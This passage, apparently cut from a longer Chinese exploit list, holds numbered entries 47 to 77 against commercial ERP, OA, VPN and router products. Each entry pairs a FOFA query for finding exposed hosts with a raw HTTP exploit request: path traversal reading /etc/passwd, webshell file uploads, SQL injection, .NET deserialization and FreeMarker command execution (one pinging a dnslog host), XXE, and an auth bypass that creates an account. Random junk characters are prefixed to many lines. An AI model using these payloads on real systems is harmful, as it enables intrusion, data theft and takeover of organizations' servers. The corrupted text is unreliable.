% L, _6 ]6 F% o7 f& ?/ I4 J47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
# V+ z2 I4 R3 `$ BGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
) t5 ]2 e  A4 ]8 g& G  ]Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
: }4 {, |- W  R% o% _+ M3 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
6 h! r/ L3 U: bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close

. ?+ `$ |: l1 ~0 V& q

1 w$ q  M( w% _- Y) w. V48. 用友U8 CRM swfupload 任意文件上传
& h0 k, ~1 ~1 ~! ?. r+ DFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
" [" B: s) H( Q9 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; R: _" @3 ^) O, c  rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
: V% C* L( W& v' ~, d5 f( o0 r------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1 G6 y8 T( W3 d$ j1231
Content-Type: application/octet-stream
5 X; s/ w' s$ e9 P7 x$ D2 a# F------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
5 b- D  C3 V8 k  x2 iupload
7 B6 w; _7 H9 U' Z2 I% }6 @------269520967239406871642430066855--
% z& Y# [! Q/ Y7 e# [- I' o* @
: ^% H# Y( F: x$ c. W; Z
6 a( D) @9 N, ^6 D0 L& @. j& N49. 用友U8 CRM系统uploadfile.php接口任意文件上传
. Z' l* E8 ^/ T) b# j) m! U2 GFOFA：body="用友U8CRM"

& H& ?/ e; W- ^5 `, l- n* K0 B: CPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
1 G6 G6 a( t" _6 ^+ z1 p# t5 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
& f1 [' s& g2 a$ O5 o3 JContent-Length: 329
7 p1 W7 \) W  t% uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( k% D/ Q! _( j' YAccept-Encoding: gzip, deflate
% N5 G! }5 h. z4 Z# b: p& v3 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ }2 @( @7 r, J% s3 S0 R* k: BConnection: close
% h7 c0 j* B, P1 n) X5 t5 IContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

* a8 G7 y5 b' M9 E) Q; Fwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

% ~0 N% {+ P* u# l7 f1 h5 c& K4 xupload
-----------------------------vvv3wdayqv3yppdxvn3w--


$ g0 v& D4 V- ]9 P' [- O, E* thttp://x.x.x.x/tmpfile/updB3CB.tmp.php
$ s; y! @  z: H# J; @( s1 u
7 a6 K9 c8 j$ z- s# Z50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
/ v- z2 p4 I- v* w; y9 ZPOST /course/filterRecords/ HTTP/1.1
8 W9 Y' C8 L: P. O: K( n/ DHost: x.x.x.x
' B6 I3 H9 V8 h1 w: h" p2 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
' N* A9 |/ I, p1 @) rContent-Type: application/x-www-form-urlencoded
; P* y# n% N( X2 @, e5 `! B& _8 CAccept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
$ q# F2 o- e  j8 l
' t9 R" q) }/ h* g# F
8 K5 |( k" v: e0 T( g51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
8 R( C. o1 M$ D+ C% Y) RFOFA：app="云时空社会化商业ERP系统"
1 e) l8 D, Q+ s& u1 ^GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
" _) z# E$ Y8 K, y3 c* EHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
3 Z' c& b2 c# bAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
, Y+ D, K3 T6 E
# a: N/ m( J3 l# g2 r
! e6 R. p, G7 \7 z$ D52. 泛微E-Office json_common.php sql注入
; r* w$ @6 }# @$ A% gFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
/ e1 C  r. D' f# U2 J( s7 rUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
# k7 r& b& k" m( _" m. y1 BAccept: */*
1 }- V# w) g5 P. }Accept-Language: en
Content-Type: application/x-www-form-urlencoded
& ^; C, ?7 f" Z* P" q9 ]5 wAccept-Encoding: gzip
/ g) s7 W; P3 L) S
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
# v% ~1 a7 m+ j# V/ Q% _

53. 迪普 DPTech VPN Service 任意文件上传
4 Z; g8 Q8 `6 N. XFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
& x+ s/ X$ {0 u2 J( b- B

- M8 C3 q6 V, s9 p54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
& I$ n' j/ S+ G) G2 L& b/ _第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

" m/ L  }  d0 M6 E& v; `
+ j6 d, P6 L" L# R- j/ H' s完整数据包
* {; b: ?4 E/ j) x) E; GPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
9 N8 |* G) c! g/ {) ~$ F: QUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
% ^, O/ G0 |$ A4 D( r5 r" }1 eContent-Length: 593

{
, t% I( n6 g; {0 {. k"storeID":{
6 I3 l' Y5 D8 J' t9 }. s' _8 n "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
3 U; s7 Z% J. f* @" t& W    "StartInfo":{
3 \4 o5 A7 P/ L  O. M   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
* U! P3 @" g! B- K& j& s( j    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
9 t6 Q$ c0 n  j7 [8 ?    }
  }
* u7 v. n, }* y5 \! [) \5 V/ {  }
5 ]+ m; G. X, G6 n" V/ A}
* h* _7 b2 Z4 Z+ e* X

第二步，访问如下url
% @" I8 A$ B$ Z/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
! w1 p& [( }& E) f) {- b' K+ A

& m. |0 Q& u' E( Z) Z4 e1 h55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
2 c2 o; T  s; ~5 ?第二步，利用获取到的Cookie请求
( c; J) t* F! s: H# {7 s" p/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
5 k3 J$ ^+ G: ]8 r4 Y- G' ?FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
) O4 e9 T/ P+ u# ?' b( O: t" f6 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

: K# Z* x7 t- n( t& f0 ?8 P. E{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
9 U6 }- `" V) V# E6 ~! W/ S    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
1 t/ V# T# P  b" ]$ T0 q4 ]           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" B( s! y* W) u' p* w4 s           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
: y3 E& X& {" a: ^9 Q       }
. B* o, B- V: W3 K- Z: \+ Q0 v7 p    }
  }
}
% k$ ^  R6 x0 ?2 n8 |2 J
* O; h7 B5 W% t2 o
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
/ a0 M4 N0 y' s) |% PGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
7 L0 F4 C0 H. M( `' I) s- ^; {User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
- C9 P4 s/ E; H5 VAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

9 |+ Y0 A8 k8 l7 L
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
  m9 B* r1 |8 j$ Q& lHost: your-ip
# i( j! D+ Q* e  c4 cUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
  m- o& D5 ]6 S5 ?" ]Accept-Charset: utf-8
- \4 `' W) ^2 a( H/ kAccept-Encoding: gzip, deflate
Connection: close


7 ^4 p5 m+ R. F3 Y# o- T59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
( B/ K7 p" O( D! [$ S) o& fHost: 192.168.86.128:9090
. t2 o1 o' w, h1 Q# PUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
8 q$ @' \! {! E) g, ?Connection: close
/ a2 Y+ I' K# O2 a) X3 ?. Z& `" u& RContent-Length: 1669
Accept: */*
* c9 q2 a& `# W0 x# I& HAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

) R: \1 E# v  c/ E1 XPAYLOAD
6 N0 G. d8 V) l# {

60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 A3 }% c+ D3 a  L/ ]& w% uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& ~7 {) M/ I) q7 Y' {7 }Connection: close


3 Y7 E, ?  S' Z( O- R0 W& w61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
# n- w5 @* I2 O6 }4 _POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
& c3 S# k1 L% w- r- QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' u: S4 D+ W) k3 Z( G5 u' hConnection: close
Content-Length: 27
# W) S6 N& C+ {Accept: */*
Accept-Encoding: gzip, deflate
5 K' J" \$ S) u- E( BAccept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa
: f1 h6 r; d( R8 u- J' U

; l# }+ }3 p7 V' A62. IP-guard WebServer 远程命令执行
3 L1 \4 c* j% dFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
% y8 }6 U. i+ k" a$ J

4 G' p; Y, s) |/ ]2 N' d访问
: p4 ~$ M# r% M5 Y2 m
4 m9 j0 h& S: P/ x, xGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
, |( {- l9 e  X# O1 b/ n' Z! \

63. IP-guard WebServer任意文件读取
% E* q: m) W- M% ^4 cIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
, r+ |! o; C4 F7 [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
- f& m$ u& K9 `( G/ xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ G# o4 r3 {$ H1 x# y( TAccept-Encoding: gzip, deflate
' q. O0 T7 G1 cAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
2 j2 X1 F# G1 m1 H2 F
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
# n1 ?- S' k. X! y6 b# F
, ^) E6 a2 N  Z( `64. 捷诚管理信息系统CWSFinanceCommon SQL注入
2 S2 A, F2 ~  N% D* o% W  LFOFA：body="/Scripts/EnjoyMsg.js"
0 ]% _0 Z$ E8 k) c( sPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
" G8 b/ i$ p% u5 KConnection: close
Content-Length: 369
9 U$ e& Z' t$ Q$ W! RAccept: */*
& ^5 s" Z( u- g' YAccept-Language: en
Content-Type: text/xml; charset=utf-8
  Y! m" c; H4 ?- |0 f! @Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
9 t1 v4 X' G; N; D" l    <GetOSpById xmlns="http://tempuri.org/">
9 a) I4 r0 o% ~3 y+ i) E      <sId>1';waitfor delay '0:0:5'--+</sId>
6 B* {( B, f/ @1 K2 F    </GetOSpById>
& O) u0 R& h6 ~7 c: N, ]% h$ `  </soap:Body>
$ j! D$ C' Z% \: k</soap:Envelope>

$ R/ O$ q  [0 b8 }
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
  Y: `' ]* v2 e. {1 E$ A0 z$ P4 sFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
8 Q7 P% ^8 |; M( P  _0 a7 BHost:
! y+ C; k( j- N) n: lUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
: o" ]& F+ x8 G2 rAccept-Encoding: gzip, deflate
# y; @$ X' ^; w8 nAccept: */*
Connection: close
Accept-Language: en
  @" Q( [6 H0 M* UContent-Length: 174
) h7 U, G  ?' U+ H2 W
3 ^0 z9 }! u9 G( P2 V! ]# _operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

* ~: V. e4 w5 C
  B. z# e, A; ?1 f8 v- t66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
& T) k6 }6 B7 q6 `, S  ~& I. Z( |( c
" B+ [- Z" C& o! ?$ u( CGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
- M* u+ X, N7 r+ M8 W7 ~) GConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

( b+ V0 Z+ E5 h0 x9 M" O
1 z2 F/ D7 U8 e第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

, A; S! U3 n( W67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
7 O" Z* q8 i' W% QnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
& [: A  M" e3 b$ I* [7 T' SHost: x.x.x.x
: r- M7 O' }& U" E% K4 j; lUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
7 {1 d0 r7 F9 O3 A! C6 _Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
9 G) e& k8 Y, Z, o( X% ^$ U: tAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
3 h9 r1 [" Y% M" p( I0 P2 S6 nConnection: close
: s, x, a+ d: ?2 O/ |Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
9 X2 v5 r* u; K) k2 {Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
2 P9 \; Q0 a+ }5 Q: E0 q8 _7 q--ufuadpxathqvxfqnuyuqaozvseiueerp--


. m* h/ Z5 ]! J! A- |6 C4 k文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
, O( m/ X$ X9 n' u7 QFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
% W# g# Y) n& w- d& eHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
' T, L9 _- C/ Z3 i1 m+ R( JAccept-Encoding: gzip, deflate
5 n3 T8 Z/ s8 y8 F" ~* B( Q2 ~Accept-Language: zh-CN,zh;q=0.9
7 D! e2 R) U  o$ bConnection: close

- P1 p. ]# @3 }# r" D, G/ G
' D; z# v! h5 ^5 K: r. K69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
* t/ ]% t7 V6 S% O' m' a' FGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
$ |  b1 b: z- c4 u& ]7 NHost: your-ip
3 L. T+ |. B5 _( U# `" I& j! uUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
! F/ N0 n7 v' @Accept: */*
Connection: keep-alive
% H1 _/ I/ ]; G1 ]8 m0 l
) @+ B; v0 g# @% d. R* m
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
$ h/ y1 O: F0 `. RPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
, H% f. [$ r: B/ F/ SSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD

3 ~6 f; j& S4 e1 H
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
; I; h' n1 d! M! D% z6 MHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
; W) c' a0 Z* BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% N2 E* _' C6 p$ PUpgrade-Insecure-Requests: 1


7 y5 l" f% |( n1 E# E$ h: `; Y72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
  D* i+ I4 V3 Y$ u7 B2 yUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
5 Q& a9 M# f: b- W. w0 JConnection: close
Content-Length: 583
$ C$ j2 c% y$ P# j% SContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


! h1 N# W: X' _) X9 g1 Z73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
! [+ ]" P3 P  J9 }" vHost:
2 P5 p7 @! h0 _* x* N0 I5 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
$ ]( j" k( W* f2 m1 G, z8 WAccept-Encoding: gzip, deflate
" q# F: J, `. r, N1 ]' YConnection: close
# a  C! T. J+ u$ a& N5 IContent-Type: application/xml
SL-CE-SUID: 3
5 P4 i, M: w7 e8 Y
PAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
" ~' ~; y) g6 v. ~, |$ L/ ~PAYLOAD
& a& z; G% ]2 d/ g, F& X+ ?
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
7 P* f6 t2 Q. S* J! s: lGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ q" m+ |: A8 z& @9 J) W6 T4 P; EConnection: close
Accept: */*
' o, Y' G2 [4 M3 g6 mAccept-Language: en
9 ?8 p7 q3 I( c) RAccept-Encoding: gzip


& g! q8 C+ c$ ?GET /cgi-bin/test28256.txt HTTP/1.1
& g! ^7 `9 A8 x$ B4 c: X" {/ nHost: x.x.x.x

5 w" `; Y" s: O8 C& e: }
# l8 S0 N- W' Y) ?, p76. 新开普掌上校园服务管理平台service.action远程命令执行
; `2 T8 {" P/ e+ d5 m- i1 CFOFA：title="掌上校园服务管理平台"
0 A/ Y$ b1 y. e5 U" K$ S% RPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
: x, F3 d# ?3 t& x* X+ t% tContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
6 `* v8 o( M& C& M) A( Q3 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 y! `: M% W7 g( [; I. l2 aCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

- K% I& b) I. Y; x7 \5 W* N{
  r6 H9 M% _9 t% s1 I2 T. M; ^/ b"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
8 g5 m' R, B% S" N$ ^3 m  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
9 a+ _+ ?2 S/ w% Q}

7 l* M( Z) s' N" q. g$ `
6 f+ b$ L8 H5 h5 U6 D; fGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
: c9 x/ c0 W: `' ~+ _

' l; [4 M- `5 r$ C$ Y
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
